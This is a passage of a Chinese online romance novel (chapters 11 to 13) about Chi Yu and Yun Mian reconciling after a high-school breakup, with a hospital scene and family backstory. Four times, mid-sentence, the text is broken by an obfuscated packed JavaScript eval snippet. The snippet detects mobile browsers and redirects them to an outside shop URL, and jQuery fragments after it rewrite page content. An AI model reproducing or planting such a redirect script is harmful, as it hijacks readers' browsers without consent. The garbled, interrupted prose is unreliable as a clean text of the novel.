云眠已经在等着他了。迟郁大老远就看见她独自一人坐着，不禁又弯起了嘴角，脚步轻快走了过去。 他轻轻开口：“云眠。” 云眠转头，迟郁顿了一瞬。 “我还没点餐呢，你吃什么？” 迟郁低头看了眼菜单：“我都行，我随便。” 这是家挺平价的火锅店，周围几乎都是学生，菜价也不贵，一进门就能闻到一股浓郁的烟火气息。迟郁其实没怎么吃过这种东西，他平时吃的都是家里阿姨做的饭，高中时偶尔几次出去约会也是他带云眠去吃高级餐厅。 此时的迟郁对一切都很好奇，兴致勃勃地盯着云眠点餐。 他们面对面坐着。迟郁视线一转，发现云眠旁边放着个很大的运动包，问道：“这是？” “哦。”云眠已经点完了餐，随手拉开拉链，“我待会要去跳舞，这是带的衣服。” 仅仅拉开了半分。 迟郁看着淡粉色的衣服露出的一角，不由得想起了高中的云眠。 那时她便已经不再学舞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621179|187894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，成为了普通的高考生。放弃艺考后，云眠没有放弃跳舞，有时会趁着空隙独自去舞室练习。 迟郁不顾她的阻拦，硬生生跟着她进去，随后坐在角落里看她跳舞。 迟郁睫毛一颤。 云眠……当时是不是根本不想他看啊？ 他正低落着，听见云眠开口，声音清脆又带着几分细软，柔声道：“开学那天说要请你吃饭的，一直没有时间。” 她歪了歪头，眉眼都弯了起来：“你不会嫌晚吧？” 迟郁一愣，连忙道：“当然不会。” 他求之不得。 迟郁偷偷打量着云眠，觉得心脏都要飞出去了。 她今天好漂亮。 云眠穿着简单舒适的长裙，上身是吊带，显得整个人温柔又优雅。平时不施粉黛的脸今天似乎化了淡妆，眉眼更加精致，细眉轻轻上扬着，一双眼睛却圆润又无辜，漆黑的眸子带着几分笑意，嘴唇是淡粉色的，此时正微微勾起。 她细嫩白皙的脖颈上带了一根方糖项链，很闪，在灯光下折射出光芒，衬得她锁骨清晰又好看。平日里不爱戴首饰的云眠今天在手腕上也带了个素圈，整个人像发着光一般。 迟郁面上不动声色，但微微泛红的耳根已经暴露了他的心声。 好想亲。 云眠单手拿着吸管轻轻搅拌着果汁，她微微低头，嘴角不可觉察地弯了起来。 上钩了。 她清了清嗓子，轻轻侧过脸，声音带着一丝疑惑：“我突然想起来，王世辉说。” 迟郁动作一滞。 “你向他打听我在做烫花了吗？” 云眠撑着下巴，眸子在灯光的映衬下更加明亮，逐渐泛起迟郁的倒影。 半晌，迟郁“嗯”了一声。 “这样啊。”云眠幅度很小地点了点头，“你对烫花也感兴趣吗？” 迟郁又“嗯”了一声，很闷，不知在想些什么。 云眠向前凑了一段距离，离他更近。视线交汇，她眨了下眼：“那你想不想找我定制啊？” 服务员正巧端上了菜，热气腾腾，模糊了二人的视线。 迟郁沉默了一秒。 “跟我高中做的差不多。”云眠继续道，“你还记得吗？高中我给你做过。” “那是我第一次做，白色洋桔梗。当时还不熟练，歪七扭八的，但恬不知耻地送给你了。” 记得。 那朵花现在还在他房间里最显眼的地方摆放着。 “不过，要排单哦。”云眠声音染上一抹笑意，“我刚接了200支花，也是白色洋桔梗。” 她笑了笑，话里带着几分微不可查的情绪：“是不是很巧？” 迟郁回望她，声音冷静又平淡：“挺巧的。” “你这个反应。我还以为他是你的小号呢。” 迟郁表情僵了一瞬，随即再次冷静下来：“怎么可能，可能他也是单纯喜欢洋桔梗吧。” 云眠赞同地点头：“那你们应该挺有共同话题的，爱好这么相同。” 迟郁不作声，捞起煮好的牛肉放到她碗里，又下了几个虾滑，一一打捞起放到她碗里。 “对了。”良久，云眠突然开口：“待会我去跳舞，你可以跟我一起吗？” “那家舞室里有钢琴。” 11. 抱一下 你要跟我一起去吗。 云眠在心里默念了一遍，微微仰头看他，嘴角含着笑意。 迟郁今天很帅。 他穿着简单的黑色T恤，头发似乎用心抓过，每一根发丝都精致得保持着弯曲的弧度，只有几根碎发轻轻遮盖住额头。眉尾锋利地上挑着，一双桃花眼轻轻垂着，剑眉星目，睫毛浓郁而长。 此时他嘴角微张，红润的嘴唇看起来很好亲。 云眠幅度很小地歪了下头，视线滑过到他嘴巴上。 其实，在以前谈恋爱时，她也总会向迟郁表达自己的需求。比如“我想要这个”“我想吃这个”或者“待会你可以陪我去琴房吗”，但此时此刻这句话说出，竟然与之前有着不一样的意味。 也许是心境不同了吧。 如果将现在的她放置于以前的情况下，她一定不会让自己处于如今的境地。 云眠以前的家境很好。 直到高中前她都过着养尊处优的生活，虽然也像现在一样不怎么爱说话，在人群中尽力成为小透明，但她可以花昂贵的价格学习古典舞和钢琴。 可后来她爸跑了。 据云初芸所说，她爸跑了。 那是一个再普通不过的傍晚，云眠像往常一样回家，郊区的别墅平时人烟稀少，此时却来来往往，很是热闹。她疑惑不解，正准备回家询问妈妈。 可刚推开门，云初芸冲出来抱住了她，哭得很惨。 云眠见家里凌乱，东西铺了一地像要搬家，轻轻推开她，皱了下眉问道：“妈，怎么了？” 云初芸再次扑上来，啜泣着抽噎：“你爸不要我们了。” 云初芸曾经是独立的烫花手艺人，继承了外婆的烫花技能，在临城开了家店，生活过得勉强算富裕。 某一天，她正躺在摇椅上晒着太阳，店门突然被推开，走进来的是一个西装革履的男人。 云初芸抬头扫了他一眼，神色淡淡：“打烊了。” 男人无视她，转而打量着店内，露出了欣赏的表情：“你手艺不错啊。” 云初芸对夸奖习以为常：“那当然了。” 后来他们结婚了，云初芸却不再制作烫花。 她成了一名全职妈妈。 她专心地培养云眠，而云眠的父亲在外面忙碌工作，鲜少回家。云初芸曾多次和他争吵，说自从生了孩子，他就不像从前了。 直到后来他出轨、离婚，让云初芸净身出户，只带着云眠。 也就是那个午后，云眠垂下头，看着紧紧抱住自己哭到颤抖的妈妈，柔声道：“妈，没事的，我们两个也可以好好生活。” 云初芸却一把推开她，两只眼睛哭到红肿，果断又决绝：“不可能。” 于是她们真就没有好好生活。 与云眠所设想的不同，云初芸没有租个店铺继续自己以前的事业，而是随便找了份工作做着，经常劳累过度回家倒头就睡，或者盯着天花板一整天不说一句话。 而她也不允许云眠继续学跳舞。 哪怕云眠拿着自己满分的考试试卷，以及中国舞大赛第一名的获奖证书，笑意盈盈地说道：“妈妈！首都一中让我转学去他们那边，说给我免学费！” 看着妈妈毫无生气的脸，云眠渐渐垂下手，声音越来越小。 “……还有奖学金。” 妈妈，奖学金有很多钱，你可以用这笔钱去创业做烫花。 云初芸对自己的事业和生活毫不上心，对云眠在哪个学校或者哪个城市也并不在意。 直到云眠早恋被抓，班主任给她打来了电话。 云初芸没有去学校。但放学后云眠接到了她的电话。 云眠忘记自己怀着什么样的心情走去了离学校很远的咖啡厅，只记得迎面而来的是一声声谩骂。 云初芸似乎在压抑着自己，整个人身体颤动发抖。 “你谈恋爱了？谈了个大少爷？全学校都知道他家里有钱，在全国出名，是吗？” “你挺会啊！你想走我之前的路是不是？？你看着你妈过得这么惨，你就一点记性不长！啊？？？你忘了我怎么跟你说的了？” “有钱人能有什么好东西！有什么好东西！！为什么是他！为什么非得是他！！” 说到最后，她竟然抱着头痛哭流涕，像在自言自语：“为什么要这样……你为什么要这样……我为什么要这样……” 云眠嘴角颤抖，停留在空中的手却停滞不前，她眼角含泪，掉了一地。 她仿佛又回到了那个傍晚。 回家的路被太阳拉得很长，她走了半天，走到腿都酸了，仍然看不见家门。云眠崩溃不已，站在原地大哭，等待着妈妈来接自己。 可是没有人来。 第二天，她向迟郁提了分手。 走在离开迟郁的路上，这条路比那天回家的路还要长，走到再也哭不出声，走到胃酸呕吐，走到心脏抽疼，也不见尽头。 如果是现在的她……还会和迟郁分手吗？ 升入大学的一年里，云眠靠着自己仍旧在坚持跳舞，长长的裙摆没有让她过得凄惨。她做烫花，一朵朵花瓣拼接起来，她也没有遇到那个故事中会夺走她芳心，又将她抛弃的人。 她活得很好，越来越好。 也正因如此，她不能和迟郁和好。 迟郁会喜欢从前的她，但不一定会喜欢现在的她。 同理，从前的她会喜欢迟郁，但现在的她不一定。 他们二人都需要时间。 云眠跨出了第一步，她眉眼弯起，柔声询问：“你可以和我一起吗？” 而迟郁只是看着她，沉默半晌，而后认真道：“好。” 周围太过嘈杂，似乎是怕她没听清，迟郁又重复了一遍：“好。” 云眠心下一动。 - 这顿火锅吃得很痛快，云眠马上要跳舞，于是没吃太饱。 舞室离着大概一公里，云眠轻车熟路，迟郁在后面给她拎着包。 正午的日光，洒下的影子很短。 接过托特包时，云眠的手指划过迟郁的掌心，他痒了一瞬。 眼底划过一抹不可言说的情绪，迟郁清了清嗓子，刚要开口。 手机却不合时宜地响起。 云眠示意他先看消息，于是迟郁低头，单手捏起手机，消息的备注是妈妈，内容是—— 你爸出事了。 迟郁表情一僵。 似乎是察觉到他的异样，云眠也愣了，眼睛眨了一下：“……怎么了？” “我——” 话到嘴边，戛然而止。迟郁倏地顿住。 云眠视线扫了他一下，抬头：“你有事吗？那你先去忙吧。” 手机仍在震动，迟郁心脏颤抖，喉结滚动了一下，他嘴角绷紧，半晌没说话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621180|187894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 云眠没什么反应，见他打车了，微微垂了下头，拎起放在地上的包：“我先去跳舞了。” “等一下。” 迟郁突然开口。 迎着云眠不解的视线，他简直要心脏骤停，尽力稳下声音，不敢与她对视，闷声道：“我……我待会回来。” 云眠点了一下头：“好。” “我能抱你一下吗？”迟郁突然道。 “可以啊。”云眠的声音柔和又平静。 打车前往医院时，迟郁仍旧在怀念那个怀抱。 不知道为什么，他突然很想、很想抱一下云眠。 电话那天迟母的声音满是焦急：“你在哪啊？快到了没，你爸进去抢救了。” “怎么会突然犯心脏病啊，天哪，明明昨天还好好的。” “迟郁，你到哪了？你爸已经推进抢救室了，你哥也在回来的路上——” 迟郁紧紧闭上了眼睛，手指蜷起，像仍旧抱着云眠。 他耳边都是云眠的香气。 轻柔的洋桔梗香味。 医院里人来人往，迟郁赶过去的路上甚至撞到了一个医生，他缓了一秒，扔下一句“不好意思”便直冲冲地往里跑。 迟父一直有心脏病，医生多次强调严重性，迟父也一直注意着，这次突然进急诊室—— 他觉得有点昏昏沉沉。 见到迟郁过来，迟母缓了一口气，拉住他的手，眼里满是着急，边祈祷边舒缓着心口。 等待的过程格外漫长，不知过了多久，急诊室的门突然推开，迟郁猛地站起，蹲了太久，他的腿发麻，差点栽倒在地。 他等待着医生的宣判—— “病人已经脱离危险了。” 听到这一句话，迟郁的一颗心终于放了下去，便准备转身去找云眠。 他让云眠等太久了。 耳边嗡嗡的。 迟母一把拉住了他的手：“你去哪！？” 迟郁缓了过来，没抬头，闷声道：“去找云眠。” “……”迟母沉默良久，伸手摸了摸他额头，“不是不让你去……你先休息一会儿，跟我陪陪你爸，好不好？” 迟郁没说话，摇了摇头。 迟父脱离了危险，已经送去病房，迟母也稍微缓了不少，半开玩笑道：“你去吧，你现在这个样子，出门你都找不到路。” 迟郁愣了一下，这才发现自己手正颤抖。 他顺从地跟着迟母坐了下去，脑袋里很空，只听见迟母正打着电话：“嗯，没事了，你不用急，明天再来就行……” 天黑得很快。 麻药劲过去，迟父慢悠悠醒了过来，第一眼就看到了坐在床尾的迟郁：“你也来了啊。” 他艰难地活动了下头，内疚道：“哎，让你们为我着急了。” 迟母上前拉住他手，摇头：“说什么胡话呢。” 她半开玩笑：“你儿子刚刚急着走呢，还是我给你拦住的。” 迟父无力地咳了一下，轻轻抬手：“去哪啊？臭小子。” “去哪？”迟母笑道，“找他未来女朋友。” “……眠眠？”得到肯定答案后，迟父喘息一声，自嘲道，“你小子，还是长情啊。当时拿皮鞭天天抽你，你都没放弃。” 迟郁不清楚他的意思，垂着头没吱声。 半晌，迟父竟笑道：“去吧！” 12. 再抱一下 迟郁顿住。 迟父的样子仍旧虚弱，他刚刚苏醒，浑身针头管子，却露出一个微笑，偏了偏头看向窗外：“……云眠是个好孩子。” “你跟她在一起之后，我都快不认识你了！”他又转过头，盯着迟郁，“这还是我那个不学无术沉迷游戏只知道臭美的儿子吗？” “爸……” “云眠是个好孩子啊，以前你们谈恋爱，我还揍你呢——但不是对她有意见啊，只是觉得你自己都照顾不好，吃顿饭天天挑刺阿姨做得不行，自己连煮泡面都不会，这不是耽误人家女孩子吗？” “……但现在你越来越优秀了啊，变成大孩子了。” 他又咳了一声，嘴唇很干却不能喝水，声音也变得沙哑。 “后来你们分手了是吗？是因为爸爸吗？” 迟郁摇头。 “不是就好，不是就好。虽然电视剧里总演要门当户对豪门联姻，但我们家的事业不也是我和你妈一起奋斗出来的吗？”迟父紧紧握着迟母的手，“当时我那么穷，她都不嫌弃我。” “去吧，去把她追回来吧，爸相信你。” 迟郁愣在原地，垂了垂眼，不知该说些什么。 “不过——”迟母用棉签沾了点水，给他润了润嘴唇，迟父又继续道，“你一定要好好对人家啊。前几年吧，我有个朋友，当然现在已经不联系了。” “他去临城出差，闲的没事闲逛，看见个很美的女人，好像还会做什么花？就非要追人家，非常上心。结果结婚之后呢？就再也不着家了，干的那些事，实在是恶心。” 他扭头叹了口气：“可怜那女人啊，还给他生了个女儿。” 迟郁倏地愣住。 迟父还在说话，却看见他儿子直直地站了起来，抓起手机便冲向了门口，连忙喊道：“哎！去哪！” 他动作太急，没缓过劲，又躺回床上咳了片刻。 迟郁已经听不清太多了。 他下意识地觉得，这个故事的版本他似乎听过。 高二的篮球赛。他以一个漂亮三分球终结了对方队伍后，独自走到树荫下拿起一瓶矿泉水，拧开瓶盖对着嘴灌了下去。 突然一撇头，看见一个陌生的男生正悄悄靠近他，迟郁挑了下眉：“有事？” 男生僵了一下，笑道：“我认识你，你是不是迟郁啊。” 迟郁没说话。 “你在追云眠，对吧？我跟她一个班的。” 迟郁重复道：“有事？” “哎，就是，都是男人，我想来提醒你一下。” 迟郁一把拎起刚刚扔在地上的衣服，转头就走。 “哎哎哎，我没有恶意啊！你难道不想更了解她吗？”男生慌忙大喊，“我就住她家旁边！” 迟郁停住脚步。 “我想了解她，需要通过你的嘴？” 说完，他抬眼冷冷扫了那男生一眼。 男生表情僵了一瞬：“你是不是不知道，云眠昨天哭了？” 见他停下，男生露出胜券在握的微笑：“我听说你家很有钱对吧，用关系把你塞进尖子班了，我离尖子班还差两名，我爸说再考不进去就打我，你看——” 迟郁笑了一声：“傻逼。” “哎！你别走啊！这个消息只有我知道，你去问她她也不会告诉你的。” “云眠昨晚哭了很久，我刚好回家，看到她妈妈在门口。你知不知道她妈妈？” 男生继续道：“她爸早就把她跟她妈都扔了，她妈想攀高枝，还给人生孩子，结果人家有钱人看不上她妈，当然也看不上云眠。” 说着说着，他竟笑了起来，语气十分招人恶心：“你猜云眠为什么想跟你在一块？当然是学她妈了——” 话音未落。 他被迟郁结结实实一拳头打趴在了地上。篮球场上立刻热闹非凡，一群人跑来或看热闹或劝架，几个跟他关系好点的把他拽了起来。男生鼻血流了一脸，只觉得眼冒金星，双腿发软，颤颤巍巍地站起。 迟郁仍旧站在他面前，脸上没什么表情，眼神发冷，像在看什么垃圾。 男生身子抖了一下，下意识躲避他的目光。 迟郁抬眼：“管好你的嘴。” “再让我听到你说云眠的坏话，我就把你打进医院。” 赶来的其他男生们不知发生了什么情况，窃窃私语。 迟郁抬了抬下巴：“要是不想挨打，你最好离云眠远一点。” 男生愣愣点头，说不出话。 “还有。”转身离开时，迟郁后知后觉补充道，“老子的尖子班是自己考进去的。” “傻逼。” - 一路上，迟郁很是焦急。待他无数次催促司机后，司机终于长舒一口气，停下车：“到了到了，快下车吧孩子。” 迟郁把车门甩得很大声。 此时正处于日落与傍晚的交接，暮色渐去，夜色未至。整个舞室被切割成两半，安静且空无一人。迟郁撑着门框，意识到云眠已经离去后，心脏揪得生疼。 他转身，一个又一个舞室地挨着找，每一扇门都被他打开，直到最后一扇—— 一个穿着练功服的女人走了出来，皱眉：“你是谁啊？有预约吗？打扰到我们练习了。” 迟郁无视她的阻拦，钻进室内。 没有云眠。 云眠走了吗？ 也对，已经过去这么久了。 迟郁这才发现，他的手机没电了，也不能给云眠发送消息。他自嘲般地笑了一下。也对，谁让他来晚了呢？ 活该。 他甚至不敢知道，云眠有没有等他。如果等了的话，这几个小时，云眠该有多难受。 如果没等……没关系。 迟郁靠在走廊的窗前，整个后背贴着墙壁慢慢滑了下来。他蹲在地上，头靠着手臂微微颤抖。 一道脚步声忽然响起，靠近，最终停在他面前。 迟郁抬起头。 “你在这儿干嘛？”穿着练功服的女人披上了衣服，已经有些冷了。她俯身，“你是在等朋友？” 迟郁摇了摇头，暗暗咬住下唇：“没有。我待会就走，不好意思。” 女人皱了一下眉，又看了他一眼：“好吧，我以为你是眠眠的朋友呢。” 迟郁一顿。 云眠正站在不远处，她仍旧穿着淡粉色纱衣，在夕阳边陲下，身影像浸泡在糖霜里，像只翅膀透明的蝴蝶。 她也看着迟郁，慢慢走近，向老师打了声招呼：“就是我朋友呀。” 老师了然：“行，那你们聊。我待会儿还有工作，先走了。” 迟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621181|187894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郁整个人保持着蜷缩的姿态。云眠不禁失笑，明明这么大一只，怎么现在像只小狗一样。 “我以为你走了。”迟郁突然开口道。 “没有呀。”云眠垂眸，“你不是让我等你吗？” 她挨着迟郁坐了下来，背后是落地玻璃窗，一丛丛的洋桔梗盛放着，倒映着。 迟郁看了她半天。云眠发现他眼睛肿着，鼻尖也是红的。 她垂了下睫毛，没说话。 迟郁的声音很闷，像在水里泡过，带着股委屈：“对不起，我来太晚了。” “你竟然，还在等我。” 云眠勾了勾嘴角：“你说过，你会回来的。” 她心里霎时闪过一丝别样的情绪。不禁开口问道：“那你突然走掉，是有什么事情吗？” 迟郁张了张嘴。 云眠看起来很关心他。 但是迟父已经脱离了危险，他提起的那件旧事——不管是不是云眠，他都不想主动说出口。 于是，迟郁一时间恍了神，盯着云眠的嘴角，半晌道：“……没什么事。” “真的吗？” “真的。” 云眠点头，起身：“好吧，原来你是单纯不想看我跳舞。” “不是……”迟郁抬手。 云眠向前走了一步，他抓了个空。 云眠没说话，背对着他。两个人顿时陷入了沉默，只剩下太阳瞬间消失，整个天色暗了下来。下一秒，灯光渐稀亮起，最后一抹亮光映在云眠脸上，她披上外套，伸手拿起地上的包—— 迟郁死死地抓住包带。 云眠只用力了一瞬便松开了手，她听见迟郁嗓子有些哑：“我爸心脏病犯了，去抢救。” “所以才走掉了。” “我不是，不想看。”迟郁抬头，眼睛很红，“我想看。我当时想立马赶回来的，我妈说我状态不好，我就……就又待了一会。” “我想看。”他再一次重复，“对不起。让你等我这么久。” 云眠头皮发麻。 她看见迟郁豆大的眼泪顺着脸掉落，认识这么久，她还是第一次见迟少爷哭。 哦不对，不是第一次。分手时他也哭了。 云眠突然有种，这个世界只剩下他们二人的错觉。她抬手，搭上了迟郁的脸，第一感觉是好软。 迟郁竟然因为这种小事跟她道歉。 迟郁别过了头。 良久，他哑然开口：“我能再抱你一下吗？” 去医院的路上，有云眠怀抱的温度，他竟然不觉得发冷。 云眠很大方地蹲下，抱住了他。 像两只互相舔舐伤口的小动物。 不知过了多久，云眠松开了他，半开玩笑地弯了弯嘴角：“不小心看见迟少爷哭，会被灭口吗？” “……反正只有你知道。”迟郁闷闷道，将她抱得更紧，“又不是第一次了。” 云眠忽然记起，分手那天小雨绵绵。 她只扔下一句“以后别再找我”便离开。 迟郁没有跟上来，整个人愣在原地。 那场雨细如雾，云眠站在无人的角落里看他，脚边堆着两把雨伞。 屋檐遮不住雨，她的发丝沾湿。 那天，迟郁等她许久，浑身湿透，像在暴雨里浇了个彻底。 13. 路灯 宿舍楼内熙攘吵闹。 付语容上完选修课，拎着一袋水果回到宿舍，突然听见二楼走廊传来的吵闹声。她只浅浅看了一眼，便继续上楼。 关上宿舍门，里面仍旧很热闹。 她拿出几个水果挨个分给舍友，随口问道：“楼下怎么了？” 一个舍友推开桌面上的镜子，打开电脑，接过水果晃了晃：“谢啦，你怎么知道我最爱吃车厘子？” “还能干嘛，因为洗衣机吵架呗。” 付语容皱眉：“不会又有人往洗衣机丢鞋子吧？” “谁知道呢。”舍友道，“对了语容，我有件事想问你。” 付语容“嗯”了一声：“你说。” “迟郁真的认识你吗？”舍友转过头，“我怎么觉得你们不熟啊。前几天开学典礼我可是跟着你坐到前几排了，迟郁看都没看。” “……” 付语容沉默半晌：“当然认识了，我俩一个学校的。” 她最近很累，有些不想掺和迟郁那档子事，简单回了一句便兴致缺缺地准备卸妆。 更何况，迟郁这个神经病，明明高中时还跟她聊得挺好，结果到了大学翻脸不认人了。她本身就一肚子火无处发泄。 真是不懂别人喜欢迟郁哪里？一副拽炸天的样子，以为有几个臭钱了不起了，她都这么努力了，迟郁还对她爱答不理。 拽什么？ 舍友完全没注意到她异样的情绪，仍旧在继续说：“而且——开学典礼不是有录像嘛，我今天闲着没事翻了下来着，你说他是不是对这女的有意思啊？” “爱有没有。那么多帅哥可看，你非揪着迟郁干什么？”付语容越想越气，脑子里一股火，干脆没给她好脸色。这舍友是个出了名的妥妥的八卦脑，嘴里没个准信。在她眼里，帅哥多看了一眼狗，就是对狗有意思。 付语容翻了个白眼。 “哎呦，你今天吃枪药了？别生气嘛，你自己来看看啊。” 见她坚持，付语容凑上前看了一眼。 当时在台下时，她没有多注意大屏幕。更多的时间都在紧紧盯着迟郁的脸和身材，心想这人怎么这么帅？除了脾气不好，精神不怎么正常，就没缺点了。 但此时看起回放，她越来越觉得不对劲。 迟郁这句话怎么像对着云眠说的？ 电脑的画面中，迟郁缓缓开口，用含着笑意的极具磁性魅力的声音问道。 “如果我喜欢你，你会喜欢我吗？” 那时的镜头转瞬即逝，切回到了提出这个问题的女同学身上。 想想就知道，噱头罢了。 但调慢了速度观看——顺着迟郁的视线而去，目光的落脚点怎么是云眠？ 他先看向的竟然是云眠。 甚至在女同学已经回答了之后，他举起话筒，但视线仍旧没有变化。 就好像迟郁看的一直都是云眠。 付语容猛地皱眉，不顾舍友的阻拦将画面切换到了最开始。 整个礼堂的灯光熄灭又亮起，一簇光照耀在迟郁身上。他披着光，目光向台下扫视了一圈，随后竟然笑了一下。 再往后，迟郁念稿子的时候偶尔会看向那里。 他的目光似乎只在镜头和那一点之间来回切换。 “最后一个，好纠结呀。” “就不抽了吧，我自己想一个号码。” 迟郁一直在盯着同一个地方。 “12，6。” 他终于得偿所愿地看向了云眠。 付语容登时陷入了沉默，直到舍友推了她好几次，才反应过来，她摇了摇头道：“我没事。” “你是不是也觉得我说的挺有道理的？贴吧里已经有不少人在盖楼了。”舍友得意地笑，“群众的眼睛是雪亮的，吃瓜万岁。” 付语容没搭腔，拿起卸妆油起身走去了洗手间：“我累了，先休息了。你看视频戴上耳机。” 走之前，她扫了几眼其他舍友，个个装没事人一样，假装没听见她们的交谈。付语容叹了口气，同住这么久，她早就知道自己宿舍里没个善茬。 卸完妆躺在床上，她不受控制地想起这个帖子。 迟郁看向云眠的眼神让她很难受。 其实她对迟郁的兴趣不大。这种大少爷，如果家里没钱了就什么也不是，只剩下一张脸，况且迟郁的脾气也不是她喜欢的类型。 ……之所以对迟郁如此有执念，其实是因为云眠。 她的云眠的交情很浅，但足够她牵肠挂肚。 与所有人所认为的不同，付语容的家境其实一般，仅仅算普通水平。虽足够她不用为生活烦忧，但要维持她的大小姐人设，还是远远不够的。 付语容非常辛苦，每天都付出大量时间，才能找到各种足够她撑起门面的别人看不出的假包，以及各种假的首饰与衣服。 那是一个昏黄的午后，连太阳也垂头丧气。 付语容没有午休，坐在离教学楼甚远的台阶上打电话，她的妈妈拒绝上涨生活费，让她气愤不已。 “语容啊，最近家里生意不太好，没什么单子，等过几个月再给你多一些钱好不好？” “当然不行！我都答应别人要请她们吃饭了，难道要让我出尔反尔？” “实在是没有啊……你不要这么爱慕虚荣。咱们家只是开小饭馆的……” “我不管！还有，你什么意思？你才虚荣呢！有你这么说自己闺女的吗？” 付语容生气地挂断了电话，一转头便看见站在不远处的女生。 她神色淡然，虽没有撞破别人秘密的恶意或尴尬，但也让付语容十分不爽。 “喂，你过来。” 云眠左右看了两下，最终确认她是在叫自己，淡漠地走了过去：“有事吗？” 什么叫有事吗…… 付语容白她一眼，问道：“你在这干什么？我刚刚打电话你都听到了？” 云眠顿了一下，点了点头。 付语容打量她：“你是我们班的吧？你叫什么？” “云眠。” “云眠……”她重复。 哦，年级第一，书呆子，乡下转来的。 长得倒是挺漂亮的。 云眠仍然没什么反应，甚至没什么情绪波动，像只是在经历一件如同吃饭喝水般普通的事而已。 “我爸妈给我挺多钱的，只是我花太多了不够而已。”付语容语气有些心虚，但云眠却点头，表达了对她的认同。 “我知道。你的衣服看起来都很贵。”云眠没有乱说，低头看着付语容衣服上和迟郁同样的标志，“挺好的，我妈妈都不给我零花钱。” “你跟我能比吗？也不看看你穿的什么。”付语容刚要燃起的得意倏地被浇灭，不屑地看她一眼，脑子里突然闪过刚才的画面，找补道，“我只是因为这个月花超了而已，买衣服买太多了。” 她话锋一转：“你倒是还挺识货的，能看出来衣服不便宜？” 云眠又点了点头：“你的衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621182|187894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 服跟迟郁的一样，应该很贵吧。” “迟郁？你还认识迟郁？你不是刚转学来的？”付语容踢了下旁边的石头，“算了，不重要。你记得别往外说就行。” 似乎是不放心，她再次补充道：“这样吧，以后你跟我一起玩，少跟别人接触。反正跟我玩也是件值得显摆的事儿。” 她话语间完全没有考虑云眠，似乎认定了她一定会同意。 云眠却拒绝了她。 “你什么意思？装什么？” 女生的声音很平静：“我自己有朋友，不能跟你玩。不过你放心吧，我不会跟别人说的。” “……说什么？” “说你虚荣。” 太过直白的话语让人难堪。 付语容倏地起身，一把狠狠推开了她：“草！你是不是找死？” - 迟郁抱了她很久。 云眠突然觉得自己挺坏的，她有点暗爽。 迟郁本来就长得好看，此时此刻哭得简直梨花带雨，眼泪蹭了她一脖子，湿漉漉的，他似乎在忍着啜泣声，声音显得格外闷。 云眠被他睫毛扎得痒，稍微用力挣脱，他便紧跟着抱得更紧。 以前怎么不知道，迟郁这么可爱。 墙上的时钟敲向了下午七点。舞室的晚课即将开始，渐渐有提着包的人走了进来。云眠抬头看着玻璃上他微微翘起的头发，忍不住伸手摸了摸：“有人来了，我们走吧。” 迟郁沉默几秒，总算松开了她。他眼睛仍然很红，但已经不哭了，泪痕干在脸上，看起来可爱又迷人。 云眠偷偷笑，突然顿了一下。 这跟和好了有什么区别？ 于是她板住脸，硬生生道：“你别哭了。” 迟郁似乎完全没感受到她话里的僵硬，反而真的低下了头，“嗯”了一声。 云眠又想笑了。 他们并排着走出舞室，昏暗的灯光下，两个人的影子像交融在一起，缠绕，融化。 迟郁突然转过身，眼睛被照得很亮，也可能是本身就很亮，神情认真地叫了她一声：“云眠。” “嗯？” “我能牵你的手吗？” 云眠迎上他的视线：“为什么？” “……想牵。”迟郁说，“我喜欢你。” 迟郁实在是，直白得可爱。 云眠站定，将手掌平摊开。 她的指尖圆润饱满，纤细修长，掌心很白，温润如玉。 迟郁静静地盯着。 手好小。 他控制不住地想要伸出手，牵住。可云眠却先他一步出声：“你为什么刚开始不告诉我？” 为什么不告诉我。 你为什么突然离开。 迟郁顿了一下：“因为……我不想让你担心。” “可是你眼睛很红。”云眠抬头，“我看出来了。” “……因为，说了也没什么用，所以干脆不说了。” “说了也没什么用……”云眠喃喃道，“所以你瞒着我的那些事情，都是因为所谓的‘说了也没什么用’么？” 她声线发冷：“迟郁？” 迟郁顿了一下，似乎是不知该如何回答这个问题。 